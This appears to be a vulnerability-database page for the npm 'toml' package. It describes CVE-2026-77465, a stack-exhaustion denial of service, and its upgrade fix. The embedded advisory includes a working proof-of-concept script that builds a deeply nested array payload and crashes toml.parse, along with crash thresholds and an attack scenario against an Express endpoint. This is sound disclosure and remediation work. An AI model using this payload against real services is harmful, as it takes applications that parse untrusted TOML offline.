Vulnerabilities in pkg:npm/toml
PACKAGECVE-2026-77465 is a HIGH (CVSS 7.5) uncontrolled recursion vulnerability (CWE-674: Uncontrolled Recursion) affecting toml-node libraries in the npm ecosystem. The issue involves uncontrolled recursion. Remediation is available by upgrading affected packages to version 4.2.0.
pkg:npm/toml
Vulnerability advisories affecting package pkg:npm/toml. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-82x6-q7mm-w9cf | CVE-2026-77465 | HIGH | toml-node: Uncontrolled Recursion |
| GHSA-v5mp-jgw5-2x6j | CVE-2026-63376 | HIGH | toml-node: Prototype Pollution Leads to `Object.prototype` Corruption via `__proto__` Key-Path Desynchronization |
CVE-2026-77465 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-77465
To remediate this vulnerability, upgrade all affected toml-node dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install toml@4.2.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls toml
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-77465, inspect your project dependencies using npm:
npm ls toml
Analyze the terminal output to locate any version of toml-node in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.2.0), your application is affected.
Note: The npm ls toml command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-674: Uncontrolled Recursion, where the product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack. In toml-node, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-77465 Affected toml-node Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
toml
|
npm |
< 4.2.0
|
4.2.0
|
References
Frequently Asked Questions
What is CVE-2026-77465?
Which toml-node versions are affected?
What version fixes CVE-2026-77465?
Is toml affected?
What is the CVSS score of CVE-2026-77465?
What CWE is associated with CVE-2026-77465?
How can I check npm dependencies for CVE-2026-77465?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-82x6-q7mm-w9cf",
"modified" : "2026-09-03T20:56:14Z",
"published" : "2026-09-03T20:56:13Z",
"aliases" : [ "CVE-2026-77465" ],
"summary" : "toml-node: Uncontrolled Recursion",
"details" : "### Summary\n\n\n`toml.parse()` crashes with an uncaught `RangeError: Maximum call stack size exceeded` when parsing deeply nested arrays or inline tables. The parser is generated by **Peggy 5.1.0** (a PEG parser generator) as a recursive-descent parser; the value rule mutually recurses with the array and inline-table rules with **no depth limit**, so nesting depth equal to the input depth exhausts Node's call stack.\n\nA small payload — a bare array nested a few thousand levels deep (**~5–6 KB**) — reliably crashes the process on a default Node.js configuration. `toml` has **~47 million monthly downloads**.\n\n---\n\n## Vulnerable Code\n\nThe parser is a **generated** recursive-descent parser (`lib/parser.js`, header: `// @generated by Peggy 5.1.0.`). The recursion sink is the mutual recursion between the `value`, `array`, and `inline_table` rule functions — none carry a depth counter:\n\n```javascript\n// lib/parser.js — peg$parsevalue() @ line 1008\nfunction peg$parsevalue() {\n ...\n s0 = peg$parsearray(); // line 1017 ← value → array\n if (s0 === peg$FAILED) {\n s0 = peg$parseinline_table(); // line 1019 ← value → inline_table\n }\n ...\n}\n\n// peg$parsearray() @ line 2879\nfunction peg$parsearray() {\n ...\n s3 = peg$parsevalue(); // line 2931 ← array element → value (back-edge)\n ...\n}\n\n// peg$parseinline_table() @ line 3066 → peg$parseinline_table_entry() @ line 3239\nfunction peg$parseinline_table_entry() {\n ...\n s5 = peg$parsevalue(); // line 3266 ← inline-table value → value (back-edge)\n ...\n}\n```\n\n**Recursion cycle** for `a=[[[ … ]]]` (bare nested arrays):\n\n```\ntoml.parse(src)\n → peg$parsevalue() # parser.js:1008\n → peg$parsearray() # parser.js:1017 / 2879\n → peg$parsevalue() # parser.js:2931 ← back-edge, per nested element\n → … # depth == input nesting → RangeError, no guard\n```\n\nInline tables (`{arr=[ … ]}`, `{a={a= … }}`) reach the same cycle via `peg$parseinline_table` / `peg$parseinline_table_entry`. Because the parser is machine-generated, there is no hand-written function to patch; the fix belongs in the grammar (`src/toml.pegjs`) or in an input guard (see *Suggested Fix*).\n\n---\n\n## Confirmed PoC (toml 4.1.2, Node.js v24.16.0)\n\n**Setup:**\n\n```bash\nnpm install toml@4.1.2 # latest release; 4.1.1 and earlier are equally affected\n# Docker equivalent:\n# docker run --rm node:24 bash -c \"npm i -g toml >/dev/null 2>&1; node -e '<PoC below>'\"\n```\n\n**Reproduce** — save as `poc.js`, run `node poc.js`:\n\n```javascript\nconst toml = require('toml');\nconsole.log('version:', require('toml/package.json').version); // 4.1.2\n\n// Smallest reliable payload: a bare array nested 3000 levels (~6 KB)\nlet x = '1';\nfor (let i = 0; i < 3000; i++) x = '[' + x + ']';\nconst payload = 'a=' + x;\nconsole.log('payload bytes:', payload.length); // 6003\n\ntry {\n toml.parse(payload);\n console.log('no crash');\n} catch (e) {\n console.log('CONFIRMED:', e.constructor.name + ':', e.message.slice(0, 40));\n console.log('is RangeError?', e instanceof RangeError, // true\n '| is SyntaxError?', e instanceof SyntaxError); // false\n}\n```\n\n**Expected output (vulnerable — actual run):**\n\n```\nversion: 4.1.2\npayload bytes: 6003\nCONFIRMED: RangeError: Maximum call stack size exceeded\nis RangeError? true | is SyntaxError? false\n```\n\n**Verified crash thresholds (fresh process, single parse, default Node 24 stack):**\n\n| Payload shape | Reliable crash depth | Payload size |\n|---------------|----------------------|--------------|\n| Bare nested array `a=[[ … ]]` | ≥ ~2,500 | **~5 KB** (6 KB at depth 3000, used above) |\n| Inline table `{arr=[ … ]}` | ≥ ~1,500 | ~12 KB |\n\n> **Note on the exact threshold:** the precise crashing depth is not perfectly deterministic — it shifts by a few hundred levels depending on V8 JIT state, Node version, platform, and any configured `--stack-size`. This is expected for a stack-overflow condition. A payload nested a few thousand levels deep (single-digit KB) crashes reliably across runs; the PoC above (depth 3000) leaves ample margin.\n\n---\n\n## Realistic Attack Scenario\n\n```javascript\n// Node.js service parsing user-supplied TOML config\nconst express = require('express');\nconst toml = require('toml');\nconst app = express();\napp.use(express.text({ type: 'application/toml', limit: '100kb' }));\n\napp.post('/config', (req, res) => {\n try {\n const config = toml.parse(req.body); // ← RangeError on ~6 KB nested payload\n res.json({ status: 'ok' });\n } catch (e) {\n // toml only throws a peg$SyntaxError (e.name === 'SyntaxError', with e.line/e.column)\n // on malformed input. A RangeError has neither, so this guard rethrows it:\n if (e.line != null) return res.status(400).json({ error: e.message });\n throw e; // RangeError propagates → uncaught → worker down\n }\n});\n```\n\nAn unauthenticated attacker POSTs a ~6 KB deeply nested body (well under the 100 KB limit). `toml.parse` overflows the stack and throws `RangeError`; any handler that only special-cases syntax errors rethrows it, taking down the request (and, depending on the server, the worker).\n\n> The package exports **only** `parse` (`Object.keys(require('toml'))` → `['parse']`); there is **no** `toml.SyntaxError`. Code written as `catch (e) { if (e instanceof toml.SyntaxError) … }` is itself broken (`instanceof undefined` throws), so applications generally cannot cleanly distinguish the DoS `RangeError` from a normal parse error.\n\n---\n\n## Impact\n\nAny Node.js application that calls `toml.parse()` on untrusted input is exposed to a remote, unauthenticated denial of service via a small (~5–6 KB) deeply nested payload. `toml.parse` is the package's only public API, and TOML is commonly parsed from user-supplied config/upload endpoints. With **~47 million monthly downloads** and **0 existing CVEs**, the exposure is broad.\n\n`RangeError` is a subclass of `Error` (not of the parser's `SyntaxError`), so it bypasses the usual \"is this a parse error?\" checks and propagates as an unexpected exception.\n\n---\n\n## Suggested Fix\n\nBecause `lib/parser.js` is generated, the fix should be applied at the grammar level and regenerated, or guarded at the entry point:\n\n**Option 1 — grammar-level depth guard (`src/toml.pegjs`), then re-run Peggy:**\n\n```javascript\n// In the grammar initializer:\n{ let depth = 0; const MAX_DEPTH = 500; }\n\n// Wrap the recursive `value` rule:\nvalue = &{ if (++depth > MAX_DEPTH) { error(\"TOML nesting too deep\"); } return true; }\n v:(array / inline_table / ...) { depth--; return v; }\n```\n\n**Option 2 — entry-point guard in `index.js`** (reject pathological input before parsing):\n\n```javascript\nmodule.exports.parse = function (input) {\n // cheap structural bound before the recursive parse\n let depth = 0, max = 0;\n for (const ch of input) {\n if (ch === '[' || ch === '{') max = Math.max(max, ++depth);\n else if (ch === ']' || ch === '}') depth--;\n }\n if (max > 500) throw new Error('TOML nesting depth exceeds limit (500)');\n return realParse(input);\n};\n```\n\n**Immediate mitigation (users, verified):** bound untrusted input length **and** bracket-nesting depth before calling `toml.parse()`, e.g. reject payloads whose maximum `[`/`{` nesting exceeds a few hundred. A byte-length limit alone is insufficient (5 KB already crashes).\n\n---\n\n## Comparison with Related Vulnerabilities\n\nSame CWE-674 class as the recursion-DoS findings in the PyPI `toml` package (C055) and the YAML parsers (PyYAML GHSA-r9mm-j37c-pjwp, ruamel.yaml). The distinguishing detail here: the parser is **generated by Peggy**, so the recursion lives in `peg$parsevalue`/`peg$parsearray`/`peg$parseinline_table` and cannot be fixed by editing a hand-written function — the earlier draft of this report incorrectly showed hand-written `parseValue(tokens, index)` functions that do not exist in the package.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "toml"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.2.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/BinaryMuse/toml-node/security/advisories/GHSA-82x6-q7mm-w9cf"
}, {
"type" : "WEB",
"url" : "https://github.com/BinaryMuse/toml-node/pull/72"
}, {
"type" : "WEB",
"url" : "https://github.com/BinaryMuse/toml-node/commit/967b8b06754f3ecd9863cea118dc50792a8c353f"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/BinaryMuse/toml-node"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-674" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-03T20:56:13Z",
"nvd_published_at" : null
}
}